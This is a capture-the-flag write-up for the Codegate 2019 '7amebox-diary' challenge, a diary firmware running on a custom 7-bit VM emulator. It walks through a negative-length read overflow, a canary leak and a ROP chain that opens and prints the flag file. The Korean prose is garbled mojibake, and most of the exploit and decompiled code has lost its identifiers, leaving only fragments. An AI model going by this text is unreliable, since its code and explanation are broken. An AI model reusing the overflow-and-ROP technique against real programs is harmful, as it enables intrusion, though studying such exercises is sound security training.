Codegate CTF 2019 - 7amebox-diary
๋ชฉ์ฐจ
0x00. Introduction
์ญ์ ๊ธฐ๋ณธ์ ์ธ ๊ตฌ์กฐ๋ 7amebox-name๊ณผ ๋์ผํ๋ค.
Structure
;
Concept
void
diary ๊ตฌ์กฐ์ฒด๋ฅผ write๋ฅผ ์ด์ฉํด์ ์์ฑํ๊ณ list ๋ฐ show๋ก ์ถ๋ ฅ, edit์ผ๋ก ์์ ํ ์ ์๋ firmware์ด๋ค.
0x01. Vulnerability
7amebox-name๋ณด๋ค firmware ์ฌ์ด์ฆ๊ฐ ๋ง์ด ์ปค์ ธ์ ์ผ๋จ C๋ก ํฌํ
์ ํ๋๋ฐ ์๋ฌด๋ฆฌ ๋ด๋ ์ทจ์ฝ์ ์ด ์์๋ค. ๊ทธ๋์ emulator์ชฝ ์ฝ๋๋ฅผ ๋ค์ ๋ณด๋ค๋ณด๋ ์ด๋ฐ ์ฝ๋๊ฐ ์์๋ค.
=
=
break
+=
break
+=
return
return None
1byte๊ฐ 7bit์ธ ํ๊ฒฝ์ด๊ธฐ ๋๋ฌธ์ 0x80๋ณด๋ค ํฐ ๊ฐ์ ์
๋ ฅ๋ฐ์ผ๋ฉด ์
๋ ฅ์ด ๋๊ธฐ๊ณ returnํ๋ค. ๋ณ๊ฑฐ ์๋ ๊ฒ ๊ฐ์ง๋ง ์ด๋ฌ๋ฉด write๋ฅผ ํ ๋ ํฐ ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค.
0x286: 10 5b mov r5, bp
0x288: 2e 50 06 00 00 sub r5, 0x6
0x28d: 00 65 ldr r6, [r5] ; r6 = [r5]
0x28f: 26 60 1e 00 00 add r6, 0x1e
0x294: 12 10 30 00 09 mov r1, 0x4b0
0x299: 10 06 mov r0, r6
0x29b: 7b 50 6f 00 06 call read_0x60f ; read(memory + 30, 1200);
0x2a0: 48 00 dec r0
0x2a2: 10 5b mov r5, bp
0x2a4: 2e 50 06 00 00 sub r5, 0x6
0x2a9: 00 65 ldr r6, [r5] ; r6 = [r5]
0x2ab: 26 60 1e 00 00 add r6, 0x1e
0x2b0: 24 60 add r6, r0
0x2b2: 0d 76 strb ('zero', [{'r6'}]) ; [r6] = zero
0x2b4: 10 5b mov r5, bp
0x2b6: 2e 50 06 00 00 sub r5, 0x6
0x2bb: 00 65 ldr r6, [r5] ; r6 = [r5]
0x2bd: 26 60 6c 00 09 add r6, 0x4ec
0x2c2: 10 10 mov r1, r0
0x2c4: 10 06 mov r0, r6
0x2c6: 7b 50 44 00 06 call read_0x60f ; read(memory + 1260, r0)
write๋ title -> contents -> key ์์๋ก ์
๋ ฅ์ ๋ฐ๋๋ฐ contents์ key๋ฅผ xorํด์ ์ ์ฅํ๊ธฐ ๋๋ฌธ์ contents์ key๋ฅผ ๊ฐ์ ๊ธธ์ด๋ก ์
๋ ฅํด์ผํ๋ค.
Assembly์์ ๋ณด๋ฉด contents๋ฅผ ์
๋ ฅ๋ฐ๋ 0x29b์์ ๊ฒฐ๊ณผ๊ฐ์ธ r0์ ๊ฐ์ ๊ฐ์ง๊ณ ๋ฐ๋ก key๋ฅผ ์
๋ ฅ๋ฐ์ ๊ธธ์ด๋ฅผ ๊ฒฐ์ ํ๊ฒ ๋๋ค.
์ด ๊ณผ์ ์์ ๋ง์ง๋ง \n์ ์์ ์ฃผ๊ธฐ ์ํด 0x2a0์์ dec r0๋ฅผ ์ํํ๋๋ฐ, Stdin์ 0x80๋ณด๋ค ํฐ ๊ฐ์ ์ค์ r0๋ฅผ 0์ผ๋ก ๋ง๋ค๋ฉด key๋ฅผ ์
๋ ฅ๋ฐ์ ๊ธธ์ด๊ฐ -1์ด ๋์ด๋ฒ๋ฆฐ๋ค.
๊ทธ๋ฌ๋ฉด ์ด syscall์ด ์ด๋ป๊ฒ ์ฒ๋ฆฌ๋๋์ง ํ์ธํด์ผํ๋๋ฐ,
# read
=
=
=
=
= # Stdin.read(size)
๋คํํ size๊ฐ 0๋ณด๋ค ์์ ๊ฒฝ์ฐ๋ฅผ ์ฒ๋ฆฌํ์ง ์๊ธฐ ๋๋ฌธ์ 0b111111111111111111111๋งํผ ์
๋ ฅ์ ๋ฐ๋ ์์ฒญ๋ overflow๊ฐ ๋ฐ์ํ๊ฒ ๋๋ค.
return
= & 0b1111111
๋ํ write_memory์์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ฐ๊ธฐ ์์ํ๋ page์ ๋๋๋ page์ ๊ถํ๋ง ํ์ธํ๊ธฐ ๋๋ฌธ์ ์ค๊ฐ page๋ค์ ๊ถํ์ด ์๋๋ผ๋ ์ฐ๊ธฐ๊ฐ ๊ฐ๋ฅํ๋ค.
0x02. Exploit
Canary Leak
0x587: 10 5b mov r5, bp
0x589: 2e 50 03 00 00 sub r5, 0x3
0x58e: 00 65 ldr r6, [r5] ; r6 = [r5]
0x590: 5c 69 cmp r6, r9
0x592: 73 50 06 00 00 je pc + 0x6 ; jne if A == B ; not FLAG_ZF
0x597: 11 4b mov sp, bp
0x599: 1d 30 pop bp
0x59b: 1d 50 pop pc
stack_chk_fail_0x59d:
0x59d: 12 00 04 00 13 mov r0, 0x984
0x5a2: 7b 50 3a 00 01 call print_0x661
0x5a7: 54 00 xor r0, r0
0x5a9: 20 00 syscall
๋ชจ๋ ํจ์์ ๋์์ r9์ ์ ์ฅํด๋์ ๊ฐ๊ณผ [bp-0x3]์ ์ ์ฅ๋ ๊ฐ์ ๋น๊ตํ๋ stack ๋ณดํธ ๊ธฐ๋ฒ์ด ์๋ค.
๋ฐ๋ผ์ ์ด ๊ฐ์ leakํด์ผํ๋๋ฐ, 0x59003์ canary๊ฐ ์ ์ฅ๋ ์ฃผ์๋ฅผ ์ธ ์ ์๋ค๋ฉด list์์ leak์ด ๊ฐ๋ฅํ ๊ฒ ๊ฐ์๋ค.
char *
void
๋ฌธ์ ๋ ๋งํ์๋ฉด ์ ์ญ๋ณ์ ๊ณต๊ฐ์ธ 0x59000๋ณด๋ค ์์ ์๋ ์ฃผ์์ diary๋ฅผ ํ ๋น๋ฐ์์ผ overwrite๊ฐ ๊ฐ๋ฅํ๋ฐ, ์๋ก์ด ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํด์ฃผ๋ ๋ก์ง์ ๋ค์๊ณผ ๊ฐ๋ค.
return
return -1
return
return -1
ํ ๋น๋ฐ์ ์ฃผ์๋ฅผ ์ ๋ฌํ์ง ์์ผ๋ฉด for page, perm in self.pages.items()๋ฅผ ํตํด์ pages๋ฅผ ์ํํ๋ฉฐ mapping์ด ๋์ง ์์ ๊ณต๊ฐ์ returnํด์ค๋ค. ์ด ๋ python 2.7 ๋ฒ์ ์์๋ dictionary๋ฅผ ๋๋คํ ์์๋ก ์ํํ๋ฏ๋ก 0x59000๋ณด๋ค ๋ฎ์ ๊ณต๊ฐ์ด ํ ๋น๋ ๋๊น์ง write๋ฅผ ํ๋ฉด ๋๋ค.
allocate์ ํํน์ ๊ฑธ์ด์ ํ ๋น๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ถ๋ ฅํด๋ณธ ๊ฒฐ๊ณผ ๋คํํ ๋๋ฒ์งธ๋ง์ 0x59000๋ณด๋ค ๋ฎ์ ๊ณต๊ฐ์ด ํ ๋น๋์๋ค.
๋ฐ๋ผ์ ํ ๋น๋ฐ์ 0x1c000์ key ์ฃผ์๋ก๋ถํฐ diary_ptr์ด ์ ์ฅ๋๋ 0x59003๊น์ง์ offset์ ๊ณ์ฐํด์ ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ฉด leak์ด ๊ฐ๋ฅํ๋ค.
# 0xc4000
= b *
+=
+=
# 0x1c000
=
=
Stack Overflow
์ด์ canary๋ฅผ ํฌํจํด์ stack์ return address๋ฅผ ๋ฎ์ผ๋ฉด pc ์ปจํธ๋กค์ด ๊ฐ๋ฅํ๋ค.
๋ค๋ง read_0x60f๋ฅผ ํธ์ถํด์ ์
๋ ฅ์ ๋ฐ๋๋ฐ ์ด ํจ์์๋ canary๊ฐ ์์ผ๋ฏ๋ก ์ด๋ฅผ ์ ์ํด์ payload๋ฅผ ์์ฑํด์ผ ํ๋ค.
= b *
+= # canary of read_0x60f
+= b
+= # canary of write_0x1f0
0x03. Payload
=
= 0x1c000 + 0x4ec
= 0x59000
= 0xf5fce
= 0xf5fc8
= 0xf5fb6
=
=
return
return
return
=
=
# print(set_bp(s, bp['end_of_list']))
# 0xc4000
= b *
+=
+=
# 0x1c000
=
=
= b *
+=
+= b
+=
# open("flag") => r0 = 1, r1 = "flag"
+= # ret
+= # pop r1
+= # pop r0
+= # pop pc ; syscall
# read(2, 0x3a000, 0x40) => r0 = 3, r1 = 2, r2 = 0x3a000, r3 = 0x40
+= # pop r6
+= # pop r3
+= # pop r2
+= # pop r1
+= # pop pc ; pop r0
+= # pop r0
+= # pop pc ; syscall
# write(1, 0x3a000, 0x40) => r0 = 2, r1 = 1, r2 = 0x3a000, r3 = 0x40
+= # pop r6
+= # pop r3
+= # pop r2
+= # pop r1
+= # pop pc ; pop r0
+= # pop r0
+= # pop pc ; syscall
# 0x3a000
0x04. Decompile
char *string_0x6c3 = "====================================================\
| SECRET_DIARY |\
====================================================\
| ___________ |\
| | _ | |\
| | (_) | |\
| | | | | |\
| | |___| | |\
| |___________| |\
----------------------------------------------------";
int count_0x59000 = 0;
struct diary *diary_ptr_0x59003;
;
char *
void
void
void
void
void
void